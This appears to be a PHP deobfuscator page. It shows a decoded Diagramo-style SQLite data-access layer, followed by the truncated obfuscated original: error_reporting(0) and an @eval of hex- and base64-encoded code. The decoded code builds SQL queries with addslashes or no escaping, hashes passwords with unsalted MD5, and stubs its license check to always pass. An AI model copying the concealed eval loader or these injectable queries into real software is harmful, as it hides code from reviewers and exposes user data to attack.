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"))));
define('DEBUG', false);

require_once dirname(__FILE__) . '/utils.php';



/**
 * LICENSE
 * License Class is not reflected in the Database (it was not generates by SQLarity)
 * To generate a license you need first 8 fields completed
 */
class License {
    //from client
    public $serial;   // buyer's serial number
    public $host; //Where the license will be installed
    
    //from server
    public $date;   // purchase date (SQL datetime) as 'yyyy-mm-dd'
    public $unlockKey;  // full key of the license (license object saved to a string)

    /**
     * Saves the License object (this) object to a string
     */
    public function save() {
        $this->unlockKey = $this->computeUnlockKey();
        return base64_encode(strrev(serialize($this)));
    }

    /**
     * Load the License object (this) from a string
     */
    public function load($str) {
        //nothing
    }

    /*
     * Computes License's full key based on its other values
     * The key is based on email, date, expiryDate, maxUsers and serial
     */

    protected function computeUnlockKey() {
        return "";
    }

    /** Check a license */
    public function checkLicense() {
        return true;
    }

}

class Diagram {

    public $id;
    public $title;
    public $description;
    public $public;
    public $createdDate;
    public $lastUpdate;

    function loadFromSQL($row) {
        $this->id = is_null($row['id']) ? null : $row['id'];
        $this->title = is_null($row['title']) ? null : $row['title'];
        $this->description = is_null($row['description']) ? null : $row['description'];
        $this->public = is_null($row['public']) ? null : $row['public'];
        $this->createdDate = is_null($row['createdDate']) ? null : $row['createdDate'];
        $this->lastUpdate = is_null($row['lastUpdate']) ? null : $row['lastUpdate'];
    }

}

class User {

    public $id;
    public $email;
    public $password;
    public $name;
    public $createdDate;
    public $lastLoginDate;
    public $lastLoginIP;
    public $lastBrowserType;
    public $admin;

    function loadFromSQL($row) {
        $this->id = is_null($row['id']) ? null : $row['id'];
        $this->email = is_null($row['email']) ? null : $row['email'];
        $this->password = is_null($row['password']) ? null : $row['password'];
        $this->name = is_null($row['name']) ? null : $row['name'];
        $this->createdDate = is_null($row['createdDate']) ? null : $row['createdDate'];
        $this->lastLoginDate = is_null($row['lastLoginDate']) ? null : $row['lastLoginDate'];
        $this->lastLoginIP = is_null($row['lastLoginIP']) ? null : $row['lastLoginIP'];
        $this->lastBrowserType = is_null($row['lastBrowserType']) ? null : $row['lastBrowserType'];
        $this->admin = is_null($row['admin']) ? null : $row['admin'];
    }

}


class Diagramdata {
	const TYPE_DMO = 'dia';
	const TYPE_SVG = 'svg';
	const TYPE_JPG = 'jpg';
	const TYPE_PNG = 'png';
	const TYPE_CSV = 'csv';

	public $diagramId;
	public $type;
	public $fileName;
	public $fileSize;
	public $lastUpdate;

	function loadFromSQL($row) {
		$this->diagramId = is_null($row['diagramId']) ? null : $row['diagramId'];
		$this->type = is_null($row['type']) ? null : $row['type'];
		$this->fileName = is_null($row['fileName']) ? null : $row['fileName'];
		$this->fileSize = is_null($row['fileSize']) ? null : $row['fileSize'];
		$this->lastUpdate = is_null($row['lastUpdate']) ? null : $row['lastUpdate'];
	}
}



class Setting {

	public $name;
	public $value;

	function loadFromSQL($row) {
		$this->name = is_null($row['name']) ? null : $row['name'];
		$this->value = is_null($row['value']) ? null : $row['value'];
	}
}

class Delegate extends SQLite3 {

    function __construct() {
        $this->open( dirname(__FILE__) .  '/../data/diagramo.db');
    }

    /**a wrapper method for executing a query*/
    public function executeSQL($query) {
        $result = $this->query($query);

        return $result;
    }
    
    /*     * Add a new entry. We should make wrappers around this function (make it private !?!)
     *  and never call it directly from outside Delegate
     *  $tableName - name of the table
     *  $object - the object
     *  $ids -  list of ids (default 'id'), usefull for multiple key or keys other then 'id'
     *  $nullify - if true unset values will be set to NULL, if false we will not touch existing column value
     * returns the 'id' of the created entry
     *  author: alex
     */

    protected function create($object, $ids = array('id'), $tableName = null, $nullify = false, $autoincrement = true) {

        //detect class name
        if (empty($tableName)) {
            $tableName = strtolower(get_class($object));
        }

        //start query
        $query = "INSERT INTO `{$tableName}` ( ";

        //start collecting column names
        $comma = false;
        foreach ($object as $key => $value) {
            //ignore the primary keys (usually id) if autogenerated
            if ($autoincrement && in_array($key, $ids)) {
                continue;
            }

            //set column names
            if (isset($value)) { //ok the value is set
                if (is_null($value)) { //but it's set to null
                    if ($nullify) { //we will add columns that will have NULL values
                        if ($comma) {
                            $query .= ",";
                        } else {
                            $comma = true;
                        }
                        $query .= "`{$key}`"; #protect the column names in case they are the same as SQL keywords (ex: order)
                    } else { //we will ignore the columns with null values
                        //do nothing
                    }
                } else { //now, it's not null
                    if ($comma) {
                        $query .= ",";
                    } else {
                        $comma = true;
                    }
                    $query .= "`{$key}`";
                }
            } else {
                //just ignore unset values
            }
        }//end collecting column names
        //start collecting values
        $query .= ') VALUES (';
        //TODO: test for cases where there is not need for a value - ex. table with 1 autogenerated column
        //even if this is kinda stupid :P
        $comma = false;
        foreach ($object as $key => $value) {

            //ignore the primary keys (usually id) if autogeneated
            if ($autoincrement && in_array($key, $ids)) {
                continue;
            }

            //add VALUES(....)
            //right now we skip not set NULL values...but maybe we should reconsider for set to Null values (ex: $o->deadDate = null)
            if (isset($value)) {
                if ($comma) {
                    $query .= ", ";
                } else {
                    $comma = true;
                }

                //based on it's type we quote the value
                switch (gettype($value)) {
                    case 'string':
                        $query .= sprintf("'%s'", addslashes($value));
                        break;
                    case 'boolean': //special case as a 'false' value can not be concatenated with a string
                        $query .= $value ? 'true' : 'false';
                        break;
                    case 'NULL' : //if $conditionValue is null the gettype($conditionValue) returns 'NULL'
                        $query .= 'NULL';
                        break;
                    default:
                        $query .= sprintf("%s", $value);
                }
            } else {
                if ($nullify) { //should we set the unset values to null ?
                    if ($comma) {
                        $query .= ", ";
                    } else {
                        $comma = true;
                    }
                    $query .= " NULL";
                }
            }
        }//end collecting values


        $query .= ')';

//        print $query;
        #exit();

        (DEBUG) ? $_SESSION['logs'][] = "&nbsp;&nbsp;&nbsp;&nbsp;" . __CLASS__ . '{#}' . __FUNCTION__ . "{#}{$query}{#}" . __LINE__ : '';
        //EXECUTE
        $result = $this->query($query);

        if ($autoincrement) {//autogenerated ID
//            print "log: autoincrement used";
            return $this->lastId();
        } else { //"by hand" ids
//            print "log: by hand used";
            if ($this->changes() > 0) {
//                print "log: affected";
                return true;
            } else {
//                print "log: not affected";
                return false;
            }
        }
    }

    /* retuns last inserted Id */

    protected function lastId() {
        $result = $this->query('SELECT last_insert_rowid() as last_insert_rowid')->fetchArray();
        return $result['last_insert_rowid'];
    }

    /*     * Update an entry from an object. We should make wrappers around this function (make it private !?!)
     *  and never call it directly from outside Delegate
     *  $tableName - name of the table
     *  $object - the object
     *  $ids -  list of ids (default 'id'), usefull for multiple key or keys other then 'id'
     *  $nullify - if true unset values will be set to NULL, if false we will not touch existing column value
     *  author: liviu, alex
     * 
     *  Note: The update is made based on the object/record id, so the id should not be changed!
     */

    protected function update($object, $ids = array('id'), $tableName = null, $nullify = false) {

        //detect class name
        if (empty($tableName)) {
            $tableName = strtolower(get_class($object));
        }

        //start query
        $query = "UPDATE `{$tableName}` SET ";


        $comma = false;
        foreach ($object as $key => $value) {

            //ignore the primary keys (usually id)
            if (in_array($key, $ids)) {
                continue;
            }

            //set values
//            if(isset($value)) { //pick only set values and ignore not set ones
            //TODO: here is wrong as $v= null; isset($v) returns False and we can not get inside this branch/scope

            if (is_null($value)) { //the value is null so we have to see what to do with it
                if ($nullify) { //should we set the unset values to null ?
                    if ($comma) {
                        $query .= ", ";
                    } else {
                        $comma = true;
                    }
                    $query .= "{$key} = NULL ";
                } else {
                    //do nothing, we will ignore set & null values
                }
            } else { //the value is not null
                if ($comma) {
                    $query .= ", ";
                } else {
                    $comma = true;
                }

                //based on it's type we quote the value
                switch (gettype($value)) {
                    case 'string':
                        $query .= sprintf(" `{$key}` = '%s' ", addslashes($value));
                        break;
//                    case 'boolean':
//                        $query .= sprintf(" `{$key}` = %s ", $value ? "true" : "false");
//                        break;
                    default:
                        $query .= sprintf(" `{$key}` = %s ", addslashes($value));
                        break;
                }
            }
//            } else {
//                //ignore unset values
//            }
        }//end foreach
        //use the keys
        $query .= " WHERE "; //'WHERE' should always be present as there should always be an id
        $comma = false;
        foreach ($ids as $id) {
            foreach ($object as $key => $value) {
//                print "ID: $id -------" . "($key,$value) ----------- " . var_export($object, true) . "<br>";
                if ($id == $key) { //ok we found a key
                    if ($comma) {
                        $query .= " AND ";
                    } else {
                        $comma = true;
                    }

                    switch (gettype($value)) {
                        case 'string':
                            $query .= sprintf(" {$key} = '%s' ", addslashes($value));
                            break;
                        default: //we place together integers, booleans and aliens
                            $query .= sprintf(" {$key} = %s ", addslashes($value));
                            break;
                    }
                }
            }
        } //end foreach
//        print $query;
//        exit();

        (DEBUG) ? $_SESSION['logs'][] = "&nbsp;&nbsp;&nbsp;&nbsp;" . __CLASS__ . '{#}' . __FUNCTION__ . "{#}{$query}{#}" . __LINE__ : '';

        /* EXECUTE
         * @see http://www.php.net/manual/en/sqlite3.query.php
         */
        return $this->query($query);
    }

    /**
     * Get a number of object from the database
     * $tableName - table name
     * $conditions - AND like conditions ex: array('name'=>'alex', 'age'=>'31')
     * $orders - ORDER BY part ex: array('name'=>'ASC', 'age'=>'DESC')
     * $start - start offset
     * $nr - number of rows returned
     * author: alex
     */
    protected function getMultiple($tableName, $conditions = null, $orders = null, $start = null, $nr = null) {
        $objects = array(); //this will contain all the found objects

        $tableName = strtolower($tableName);

        //start query building
        $query = sprintf("SELECT * FROM `%s`", $tableName);

        //conditions
        if (count($conditions) > 0) {
            $query .= " WHERE ";
            $and = false;
            foreach ($conditions as $conditionName => $conditionValue) {
                if ($and) {
                    $query .= " AND ";
                } else {
                    $and = true;
                }

                //based on it's type we quote the value
                switch (gettype($conditionValue)) {
                    case 'string':
                        $query .= sprintf(" `%s` = '%s'", $conditionName, addslashes($conditionValue));
                        break;
                    case 'boolean': //special case as a 'false' value can not be concatenated with a string
                        $query .= sprintf(" `%s` = %s", $conditionName, $conditionValue ? 'true' : 'false');
                        break;
                    case 'NULL' : //if $conditionValue is null the gettype($conditionValue) returns 'NULL'
                        $query .= sprintf(" `%s` IS NULL", $conditionName);
                        break;
                    default:
                        $query .= sprintf(" `%s` = %s", $conditionName, $conditionValue);
                }
            }
        }


        //add orders
        if (count($orders) > 0) {
            $query .= " ORDER BY ";
            $comma = false;
            foreach ($orders as $order => $direction) {
                if ($comma) {
                    $query .= sprintf(", `%s`  %s ", $order, $direction);
                } else {
                    $query .= sprintf(" `%s`  %s", $order, $direction);
                    $comma = true;
                }
            }
        }


        if (!is_null($start)) {
            $query .= sprintf(" LIMIT %d", $start);
        }

        if (!is_null($nr)) {
            $query .= sprintf(", %d", $nr);
        }

        #print $query;
        #exit();
        (DEBUG) ? $_SESSION['logs'][] = "&nbsp;&nbsp;&nbsp;&nbsp;" . __CLASS__ . '{#}' . __FUNCTION__ . "{#}{$query}{#}" . __LINE__ : '';

        //EXECUTE query
        $result = $this->query($query);
        $className = ucfirst($tableName);
        while ($row = $result->fetchArray()) {
            $object = new $className;
            $object->loadFromSQL($row);
            $objects[] = $object;
        }



        return $objects;
    }

    /*     * Return single */

    protected function getSingle($tableName, $conditions = null) {
        $foundedObjects = $this->getMultiple($tableName, $conditions);
        if (isset($foundedObjects) && count($foundedObjects) > 0) {
            return $foundedObjects[0];
        }

        return;
    }

    /*     * Return single */

    protected function getCount($tableName, $conditions = null) {
        $foundedObjects = $this->getMultiple($tableName, $conditions);
        return count($foundedObjects);
    }

    /*     * Remove all entries from a table that met conditions
     * param: $conditions (an array of $key=>$value)
     * Returns true if data was deleted, false otherwise
     *
     * Ex: delete('user', array('id'=>1)) //delete the user with id 1
     * Ex2: delete('user') //delete ALL users
     */

    protected function delete($tableName, $conditions = null) {
        $tableName = strtolower($tableName);

        //start query building
        $query = sprintf("DELETE FROM `%s`", $tableName);

        //conditions
        if (count($conditions) > 0) {
            $query .= " WHERE ";
            $and = false;
            foreach ($conditions as $conditionName => $conditionValue) {
                if ($and) {
                    $query .= " AND ";
                } else {
                    $and = true;
                }

                //based on it's type we quote the value
                switch (gettype($conditionValue)) {
                    case 'string':
                        $query .= sprintf(" %s = '%s'", $conditionName, addslashes($conditionValue));
                        break;
                    case 'boolean': //special case as a 'false' value can not be concatenated with a string
                        $query .= sprintf(" %s = %s", $conditionName, $conditionValue ? 'true' : 'false');
                        break;
                    default:
                        $query .= sprintf(" %s = %s", $conditionName, $conditionValue);
                }
            }
        }


//        print $query;
//        exit();
        (DEBUG) ? $_SESSION['logs'][] = "&nbsp;&nbsp;&nbsp;&nbsp;" . __CLASS__ . '{#}' . __FUNCTION__ . "{#}{$query}{#}" . __LINE__ : '';

        $this->query($query);

        /*
         * @see: http://stackoverflow.com/questions/313567/how-can-i-determine-the-number-of-affected-rows-in-a-sqlite-2-query-in-php
         */
        if ($this->changes() > 0) {
            return true;
        } else {
            return false;
        }
    }

    /************************************************************************* */
    /************************************************************************* */
    /************************************************************************* */
    public function userGetByEmailAndPassword($email,$password) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->getSingle('user', array('email'=>$email, 'password'=>md5($password) ));
    }
    
    public function userGetByEmailAndCryptedPassword($email,$cryptedPassword) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->getSingle('user', array('email'=>$email, 'password'=>$cryptedPassword ));
    }
    
    public function userGetById($userId) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->getSingle('user', array('id'=>$userId));
    }
    
    public function userGetAll() {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->getMultiple('user', null, array('email' => 'ASC'));
    }
    
    

    
    /************************************************************************* */
    /************************************************************************* */
    /************************************************************************* */
    public function diagramGetAll() {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ . '{#}' . __FUNCTION__ . "{#}{#}" . __LINE__ : '';
        return $this->getMultiple('diagram', null, array('title' => 'DESC'));
    }

    public function diagramCreate($entry) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ . '{#}' . __FUNCTION__ . "{#}{#}" . __LINE__ : '';
        return $this->create($entry);
    }
    
    public function diagramGetById($diagramId) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->getSingle('diagram', array('id'=>$diagramId));
    }
    
    public function diagramDeleteById($diagramId) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->delete('diagram', array('id'=>$diagramId));
    }
    
    public function diagramUpdate($diagram) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->update($diagram);
    }
    
        /**This create a cascade delete to diagramdata*/
    public function diagramDelete($diagramId){
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->delete('diagram', array('id'=>$diagramId));
    }
    
    /**************************************************************************/
    /*********************************SETTINGS*********************************/
    /**************************************************************************/
    public function settingsGetByKeyNative($key){
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        

        $query = sprintf("select `value` from `setting` where `name` = '%s' ",$key);

        (DEBUG) ? $_SESSION['logs'][] = "&nbsp;&nbsp;&nbsp;&nbsp;" . __CLASS__ .'{#}'. __FUNCTION__ ."{#}{$query}{#}". __LINE__ : '';

        $value = '';

        //EXECUTE query
        $result = $this->query($query);
        if( $row = $result->fetchArray() ){
            $value = $row['value'];
        }
                

        return $value;
    }
    
    
    public function settingsSaveNative($key, $value){
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        
        //see http://stackoverflow.com/questions/418898/sqlite-upsert-not-insert-or-replace
        $query = sprintf("insert or REPLACE  into `setting` (`value`,`name`) VALUES('%s', '%s')", $value, $key);
        
        $this->query($query);
        
        if($this->changes() > 0) {
            return true;
        } else {
            return false;
        }
    }
    
    
    /**************************************************************************/
    /*********************************USER*************************************/
    /**************************************************************************/
    public function userCreate($user) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->create($user);
    }
    
    public function userDeleteById($id) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->delete('user', array('id' => $id));
    }
    
    
    public function userUpdate($user) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->update($user);
    }
    
    
    /**************************************************************************/
    /*****************************DIAGRAMDATA**********************************/
    /**************************************************************************/
    public function diagramdataCreate($entry) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        //$object, $ids = array('id'), $tableName=null,  $nullify=false, $autoincrement=true) {
        return $this->create($entry, array('diagramId', 'type'), 'diagramdata', false, false);
    }

    public function diagramdataGetByDiagramIdAndType($diagramId, $type) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->getSingle('diagramdata', array('diagramId'=>$diagramId, 'type'=>$type));
    }
    
    public function diagramdataUpdate($diagramdata) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->update($diagramdata, array('diagramId', 'type'), 'diagramdata'); //do not update the key
    }
    
    public function diagramdataGetByDiagramId($diagramId) {
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->getMultiple('diagramdata', array('diagramId'=>$diagramId));
    }
    
    /**This create a cascade delete to diagramdata*/
    public function diagramdataDeleteByDiagramIdAndType($diagramId, $type){
        (DEBUG) ? $_SESSION['logs'][] = __CLASS__ .'{#}'. __FUNCTION__ ."{#}{#}". __LINE__ : '';
        return $this->delete('diagramdata', array('diagramId'=>$diagramId, 'type'=>$type));
    }
        
}

function diagramCreate($dbhandle, $title, $description, $public) {
    $stm1 = sprintf("INSERT INTO diagram (title, description, public, createdDate, lastUpdate) 
        VALUES('%s', '%s', '%s', '%s', '%s')", $title, $description, $public, gmdate('Y-m-d H:i:s'), gmdate('Y-m-d H:i:s'));
    #print($stm1);
    $ok1 = sqlite_exec($dbhandle, $stm1);
    if (!$ok1)
        die("Cannot execute statement.");
}

function diagramGetById($dbhandle, $diagramId) {
    $d = false;
    $query = sprintf("SELECT * FROM diagram where id=%d", $diagramId);
    $result = sqlite_query($dbhandle, $query);
    if ($result) {
        $row = sqlite_fetch_array($result, SQLITE_ASSOC);
        if ($row) {
            $d = new Diagram();
            $d->loadFromSQL($row);
        }
    }

    return $d;
}

function diagramGetAll2($dbhandle) {
    $diagrams = array();
    $query = "SELECT * FROM diagram ORDER BY title";
    $results = $this->query($query);
    if ($results) {
        while ($row = $results->fetchArray()) {
            #print_r($row);
            $d = new Diagram();
            $d->loadFromSQL($row);
            $diagrams[] = $d;
        }
    }

    return $diagrams;
}

function diagramDeleteById($dbhandle, $diagramId) {
    $query = sprintf("delete FROM diagram where id=%d", $diagramId);
    $result = sqlite_query($dbhandle, $query);
    if ($result) {
        
    }
}

if(false && PHP_SAPI == 'cli'){ //see http://php.net/manual/en/features.commandline.php
    print("
On the console");

    //test
    $d = new Delegate();
    $diagrams = $d->diagramGetAll();
    print_r($diagrams);

    $diagram = new Diagram();
    $diagram->title = 'Ana are mere';
    $diagram->description = 'Ana are foarte multe mere';
    $diagram->public = 0;
    $diagram->createdDate = gmdate('Y-m-d h:i:s');
    $diagram->lastUpdate = gmdate('Y-m-d h:i:s');

    $dId = $d->diagramCreate($diagram);
    print("Diagram Id: " + $dId);

    $nd = $d->diagramGetById($dId);
    $nd->title = 'Zzoz';
    $d->diagramUpdate($nd);

    $d->close();
}
?>

Did this file decode correctly?

Original Code

<?php 
error_reporting(0);
$o02e538b7fb98cc8c1112334a3dace502="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
@eval($o02e538b7fb98cc8c1112334a3dace502("JG81Yzk2YWI5ZjIxNWQ0ZDJhYzA4ZDg2OWU2OWYxNDM0ZD0iXHg2MiI7CiRvNWY5MWJjNWNmOWU4YTA0Zjg3MjBlODg4ZmY2MmIyZWE9Ilx4NjIiOwokb2I3M2MyNTg5NDZhMWE5NWM1ZjJjYTYwMDBjNTY4Mjc2PSJceDY3IjsKJG85MzIyMWQ2MmFjYmI5ZDJhODA3YjEwNTgzY2QyZGE2YT0iXHg2NyI7CiRvYjg5OTk0MzcwNmFlNDk4ZDgyNmYzMGVkZDI1MTZjOTk9Ilx4NzMiOwokbzVjOTZhYjlmMjE1ZDRkMmFjMDhkODY5ZTY5ZjE0MzRkLj0iXHg2MSI7CiRvNWY5MWJjNWNmOWU4YTA0Zjg3MjBlODg4ZmY2MmIyZWEuPSJceDYxIjsKJG9iNzNjMjU4OTQ2YTFhOTVjNWYyY2E2MDAwYzU2ODI3Ni49Ilx4N2EiOwokbzkzMjIxZDYyYWNiYjlkMmE4MDdiMTA1ODNjZDJkYTZhLj0iXHg3YSI7CiRvYjg5OTk0MzcwNmFlNDk4ZDgyNmYzMGVkZDI1MTZjOTkuPSJceDc0IjsKJG81Yzk2YWI5ZjIxNWQ0ZDJhYzA4ZDg2OWU2OWYxNDM0ZC49Ilx4NzMiOwokbzVmOTFiYzVjZjllOGEwNGY4NzIwZTg4OGZmNjJiMmVhLj0iXHg3MyI7CiRvYjczYzI1ODk0NmExYTk1YzVmMmNhNjAwMGM1NjgyNzYuPSJceDY0IjsKJG85MzIyMWQ2MmFjYmI5ZDJhODA3YjEwNTgzY2QyZGE2YS49Ilx4NjkiOwokb2I4OTk5NDM3MDZhZTQ5OGQ4MjZmMzBlZGQyNTE2Yzk5Lj0iXHg3MiI7CiRvNWM5NmFiOWYyMTVkNGQyYWMwOGQ4NjllNjlmMTQzNGQuPSJceDY1IjsKJG81ZjkxYmM1Y2Y5ZThhMDRmODcyMGU4ODhmZjYyYjJlYS49Ilx4NjUiOwokb2I3M2MyNTg5NDZhMWE5NWM1ZjJjYTYwMDBjNTY4Mjc2Lj0iXHg2NSI7CiRvOTMyMjFkNjJhY2JiOWQyYTgwN2IxMDU4M2NkMmRhNmEuPSJceDZlIjsKJG9iODk5OTQzNzA2YWU0OThkODI2ZjMwZWRkMjUxNmM5OS49Ilx4NWYiOwokbzVjOTZhYjlmMjE1ZDRkMmFjMDhkODY5ZTY5ZjE0MzRkLj0iXHgzNiI7CiRvNWY5MWJjNWNmOWU4YTA0Zjg3MjBlODg4ZmY2MmIyZWEuPSJceDM2IjsKJG9iNzNjMjU4OTQ2YTFhOTVjNWYyY2E2MDAwYzU2ODI3Ni49Ilx4NjYiOwokbzkzMjIxZDYyYWNiYjlkMmE4MDdiMTA1ODNjZDJkYTZhLj0iXHg2NiI7CiRvYjg5OTk0MzcwNmFlNDk4ZDgyNmYzMGVkZDI1MTZjOTkuPSJceDcyIjsKJG81Yzk2YWI5ZjIxNWQ0ZDJhYzA4ZDg2OWU2OWYxNDM0ZC49Ilx4MzQiOwokbzVmOTFiYzVjZjllOGEwNGY4NzIwZTg4OGZmNjJiMmVhLj0iXHgzNCI7CiRvYjczYzI1ODk0NmExYTk1YzVmMmNhNjAwMGM1NjgyNzYuPSJceDZjIjsKJG85MzIyMWQ2MmFjYmI5ZDJhODA3YjEwNTgzY2QyZGE2YS49Ilx4NmMiOwokb2I4OTk5NDM3MDZhZTQ5OGQ4MjZmMzBlZGQyNTE2Yzk5Lj0iXHg2ZiI7CiRvNWM5NmFiOWYyMTVkNGQyYWMwOGQ4NjllNjlmMTQzNGQuPSJceDVmIjsKJG81ZjkxYmM1Y2Y5ZThhMDRmODcyMGU4ODhmZjYyYjJlYS49Ilx4NWYiOwokb2I3M2MyNTg5NDZhMWE5NWM1ZjJjYTYwMDBjNTY4Mjc2Lj0iXHg2MSI7CiRvOTMyMjFkNjJhY2JiOWQyYTgwN2IxMDU4M2NkMmRhNmEuPSJceDYxIjsKJG9iODk5OTQzNzA2YWU0OThkODI2ZjMwZWRkMjUxNmM5OS49Ilx4NzQiOwokbzVjOTZhYjlmMjE1ZDRkMm